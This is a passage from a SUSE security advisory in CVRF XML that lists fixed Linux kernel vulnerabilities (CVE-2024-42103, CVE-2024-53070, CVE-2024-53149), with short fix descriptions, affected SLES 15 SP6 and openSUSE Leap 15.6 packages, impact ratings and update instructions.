are at deleted_unused_bgs() it's not possible for other tasks to
allocate and deallocate extents from the block group, so it can't be
added to the unused list or the reclaim list by anyone else.

The bug can be reproduced by btrfs/166 after a few rounds. In practice
this can be hit when relocation cannot find more chunk space and ends
with ENOSPC.</Note>
    </Notes>
    <CVE>CVE-2024-42103</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2024-42103.html</URL>
        <Description>CVE-2024-42103</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1228490</URL>
        <Description>SUSE Bug 1228490</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="3">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

usb: dwc3: fix fault at system suspend if device was already runtime suspended

If the device was already runtime suspended then during system suspend
we cannot access the device registers else it will crash.

Also we cannot access any registers after dwc3_core_exit() on some
platforms so move the dwc3_enable_susphy() call to the top.</Note>
    </Notes>
    <CVE>CVE-2024-53070</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2024-53070.html</URL>
        <Description>CVE-2024-53070</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1233563</URL>
        <Description>SUSE Bug 1233563</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="4">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

usb: typec: ucsi: glink: fix off-by-one in connector_status

UCSI connector's indices start from 1 up to 3, PMIC_GLINK_MAX_PORTS.
Correct the condition in the pmic_glink_ucsi_connector_status()
callback, fixing Type-C orientation reporting for the third USB-C
connector.</Note>
    </Notes>
    <CVE>CVE-2024-53149</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
